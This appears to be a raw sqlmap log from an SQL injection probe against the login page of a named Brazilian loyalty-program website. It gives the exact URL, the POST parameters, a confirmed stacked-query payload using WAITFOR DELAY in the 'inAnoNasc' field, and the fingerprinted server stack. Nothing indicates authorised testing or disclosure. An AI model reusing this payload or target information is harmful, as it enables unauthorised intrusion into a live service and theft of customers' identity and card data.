ipiranga

"http://www.clubextra.com.br/sc_www_Login.asp" --data="incDocNumero=%27&inAnoNasc=%27&x=21&y=9&inCartao=+&inCPF=+"

Parameter: inAnoNasc (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: incDocNumero='&inAnoNasc=';WAITFOR DELAY '0:0:5'--&x=
---
[21:15:27] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008